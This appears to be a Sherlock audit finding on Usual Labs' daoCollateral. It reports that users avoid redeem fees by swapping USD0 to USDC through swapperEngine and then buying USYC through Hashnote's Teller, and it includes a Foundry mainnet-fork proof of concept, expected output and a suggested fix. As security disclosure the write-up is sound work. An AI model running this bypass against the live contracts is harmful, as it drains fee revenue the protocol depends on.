Puny Lilac Reindeer

High

# Users can bypass redeem fee in daoCollateral with usyc Teller

### Summary

Users can swap their `USD0->USDC` through `swapperEngine.swapUsd0()` for no slippage or fees and then swap `USDC->USYC` through hashnote Teller (https://usyc.docs.hashnote.com/integration-guides/etherscan) also with no fees or slippage and avoid paying redeem fees imposed in `daoCollateral.redeem()`.

https://github.com/sherlock-audit/2024-10-usual-labs-v1/blob/ba61bc35e1de61d3cbc80dc40887018fdd88199a/pegasus/packages/solidity/src/daoCollateral/DaoCollateral.sol#L726

### Root Cause
The fundemental issue here is that the usual protocol provides a circuit to swap `USD0->USDC->USYC` through swapperEngine with no slippage or fees and hashnote teller also has no slippage or fees, while the redeem fee (collected on `daoCollateral.redeem` is the main source of yield for the contract. 

This circuit would not be possible/profitable on secondary markets because of fees and slippage. As far as I could gather, there is no secondary market where someone can exchange a significant amount of `USD0->USDC` with no fees or slippage, it is only offered by the swapperEngine.

In summary, this is an external integration issue and USDC specifically should not be used in swapper engine because it is instantly convertible back to RWA through hashnote Teller wich would defeat the daoCollateral's fee model.

### Internal pre-conditions

- market makers offering `USDC->USD0` in `swapperEngine` are present and there is enough liquidity

### External pre-conditions

- Hash note teller only works during `regular market hours` (https://usyc.docs.hashnote.com/overview/product-structuring#smart-contract-teller)
- Hash note teller has limits on daily USDC->RWA swap
- USDC price is close to peg as expected (wich should be the case most the time)

### Attack Path

1. user wishes to exit `USD0->RWA`.
2. user swaps usd0 to usdc through `swapperEngine.swapUsd0()`.
3. user swaps usdc to rwa through hashnote teller with ` usyc_usdc_teller.buy(usdc_amount)`.
4. no redeem fees paid to daoCollateral and user pays no fees to swapperEngine/USYC teller.

### Impact

redeem fees in daocollateral can be bypassed by anyone. my assesement is that only uninformed users would call `daoColalteral.redeem()`. If this isn't fixed, then in the long term the protocol would lose a significant portion of the expected redeem fees. As of now the redeem fee onchain on the daoCollateral is set to 0.1% (https://etherscan.io/address/0xde6e1f680c4816446c8d515989e2358636a38b04#readProxyContract#F12) and considering the bypass is repeatable (depending on external factors that hold true most of the time) I believe the severity is high.

### PoC

1. export rpc url for fork testing `export MAINNET_RPC_URL=<your_rpc_url_here>`
2. copy paste the following into `pegasus/packages/solidity/test/poc1.t.sol`
3. run with `forge test --match-path test/poc1.t.sol --fork-url ${MAINNET_RPC_URL} --match-test test_fees -vv`

```solidity
pragma solidity ^0.8.20;

import "src/constants.sol";
import {Test, Vm, console} from "forge-std/Test.sol";
import {RegistryContract} from "src/registry/RegistryContract.sol";
import {IERC20} from "openzeppelin-contracts/token/ERC20/IERC20.sol";
import {StdCheats} from "forge-std/StdCheats.sol";
import "src/interfaces/IDaoCollateral.sol";
import {IOracle} from "src/interfaces/oracles/IOracle.sol";
import {SwapperEngine} from "src/swapperEngine/SwapperEngine.sol";

interface IYieldTokenTeller {
  type Holiday is uint8;
  type State is uint8;

  function allowlist() external view returns (address);
  function buy(uint256 _amount) external returns (uint256);
  function buyFor(
    uint256 _amount,
    address _recipient
  ) external returns (uint256);
  function dst() external view returns (address);
  function fund(uint256 _amount) external;
  function getHoliday() external view returns (Holiday);
  function holidays() external view returns (address);
  function initialize(
    address _owner,
    address _liquidityProvider,
    uint256 _startHour,
    uint256 _endHour
  ) external;
  function isCoreTradingHours() external view returns (bool);
  function isDST() external view returns (bool);
  function isHoliday(
    uint256 _year,
    uint256 _month,
    uint256 _day
  ) external view returns (Holiday);
  function isHoliday() external view returns (bool);
  function isTradingDay() external view returns (bool);
  function liquidityProvider() external view returns (address);
  function marketIsOpen() external view returns (bool);
  function masterFundAdmin() external view returns (address);
  function oracle() external view returns (address);
  function owner() external view returns (address);
  function proxiableUUID() external view returns (bytes32);
  function redeem(uint256 _ytokenAmount, uint256 _stableAmount) external;
  function renounceOwnership() external;
  function sell(uint256 _amount) external returns (uint256);
  function sellFor(
    uint256 _amount,
    address _recipient
  ) external returns (uint256);
  function sellPreview(
    uint256 _amount
  ) external view returns (uint256, uint256, int256);
  function setLiquidityProvider(address _liquidityProvider) external;
  function setTradingHours(uint256 _startHour, uint256 _endHour) external;
  function stable() external view returns (address);
  function state() external view returns (State);
  function time() external view returns (uint256);
  function tradingEndHour() external view returns (uint256);
  function tradingStartHour() external view returns (uint256);
  function transferOwnership(address newOwner) external;
  function upgradeTo(address newImplementation) external;
  function upgradeToAndCall(
    address newImplementation,
    bytes memory data
  ) external payable;
  function ytoken() external view returns (address);
}

contract CounterTest is Test {
  //  user with Investor_Reserve4 role in USYC, wich should be a standard role for any Usual user
  address constant user = 0xc45224eb37730fDE22bA371c0e368452Db5305E7;
  address constant usdc_maker = 0x787AdB17672f84efeE099F8f7009276f0a1c7408;
  address constant REGISTRY_CONTRACT_MAINNET =
    0x0594cb5ca47eFE1Ff25C7B8B43E221683B4Db34c;
  address constant USYC_TELLER_MAINNET =
    0x5C73E1cfdD85b7f1d608F7F7736fC8C653513B7A;

  RegistryContract registry_contract =
    RegistryContract(REGISTRY_CONTRACT_MAINNET);
  IDaoCollateral dao_collateral =
    IDaoCollateral(registry_contract.getContract(CONTRACT_DAO_COLLATERAL));
  SwapperEngine swapper_engine =
    SwapperEngine(registry_contract.getContract(CONTRACT_SWAPPER_ENGINE));
  IYieldTokenTeller usyc_usdc_teller = IYieldTokenTeller(USYC_TELLER_MAINNET);
  IOracle oracle = IOracle(registry_contract.getContract(CONTRACT_ORACLE));
  IERC20 usdc = IERC20(registry_contract.getContract(CONTRACT_USDC));
  IERC20 usyc = IERC20(usyc_usdc_teller.ytoken());
  IERC20 usd0 = IERC20(registry_contract.getContract(CONTRACT_USD0));
  function setUp() public {
    // rolling to specific block is important as the Teller will only work during market hours (see USYC docs)
    vm.rollFork(21078623);
  }

  function setup_swapper_engine_order(
    uint256 usdc_amount,
    address maker
  ) internal returns (uint256) {
    deal(address(usdc), maker, usdc_amount);
    vm.startPrank(maker);
    usdc.approve(address(swapper_engine), type(uint256).max);
    vm.recordLogs();
    swapper_engine.depositUSDC(usdc_amount);
    Vm.Log[] memory entries = vm.getRecordedLogs();
    uint256 order_id = uint256(entries[entries.length - 1].topics[2]);
    console.log(
      "[-] set up order id %d amount in usdc %e",
      order_id,
      usdc_amount
    );
    vm.stopPrank();
    return order_id;
  }

  function test_fees() public {
    uint256 order_id = setup_swapper_engine_order(1_000_000e6, usdc_maker);
    uint256[] memory order_ids_to_take = new uint256[](1);
    order_ids_to_take[0] = order_id;
    vm.startPrank(user);
    console.log("[+] user usd0 start balance %e", usd0.balanceOf(user));
    console.log("[+] user usdc start balance %e", usdc.balanceOf(user));
    console.log("[+] user rwa start balance %e", usyc.balanceOf(user));

    uint256 usd0_amount = 1000e18;
    uint256 snapshot = vm.snapshot();
    usd0.approve(address(swapper_engine), type(uint256).max);
    uint256 pre_usdc_bal = usdc.balanceOf(user);
    uint256 pre_rwa_bal = usyc.balanceOf(user);
    console.log(
      "   [0] swapping %e usd0 to usdc through swapper engine",
      usd0_amount
    );
    swapper_engine.swapUsd0(user, usd0_amount, order_ids_to_take, false);
    uint256 usdc_amount = usdc.balanceOf(user) - pre_usdc_bal;
    console.log(
      "   [0] exchanging %e usdc -> usyc with usyc teller",
      usdc_amount
    );
    usdc.approve(USYC_TELLER_MAINNET, type(uint256).max);
    usyc_usdc_teller.buy(usdc_amount);
    console.log("   [0] user got rwa %e", usyc.balanceOf(user) - pre_rwa_bal);
    vm.stopPrank();
    console.log("");
    console.log("[+] reverting snapshot");
    vm.revertTo(snapshot);
    vm.startPrank(user);
    pre_rwa_bal = usyc.balanceOf(user);
    console.log("   [1] redeeming %e usd0 through daoCollateral", usd0_amount);
    usd0.approve(address(dao_collateral), type(uint256).max);
    dao_collateral.redeem(address(usyc), usd0_amount, 0);
    console.log("   [1] user got rwa %e", usyc.balanceOf(user) - pre_rwa_bal);
    vm.stopPrank();
  }
}
```

expected output:

```bash
[PASS] test_fees() (gas: 894296)
Logs:
  [-] set up order id 1809 amount in usdc 1e12
  [+] user usd0 start balance 1.4998314139999e21
  [+] user usdc start balance 3.8123452466e10
  [+] user rwa start balance 1.6199842325e11
     [0] swapping 1e21 usd0 to usdc through swapper engine
     [0] exchanging 1.000162906e9 usdc -> usyc with usyc teller
     [0] user got rwa 9.38242558e8
  
  [+] reverting snapshot
     [1] redeeming 1e21 usd0 through daoCollateral
     [1] user got rwa 9.37154371e8
```

### Mitigation

Consider using another stablecoin than USDC in swapperEngine. If there are other integrations with other RWA planned in daoCollateral, special consideration should be taken to avoid similar fee bypass/pricing issues related to swapperEngine.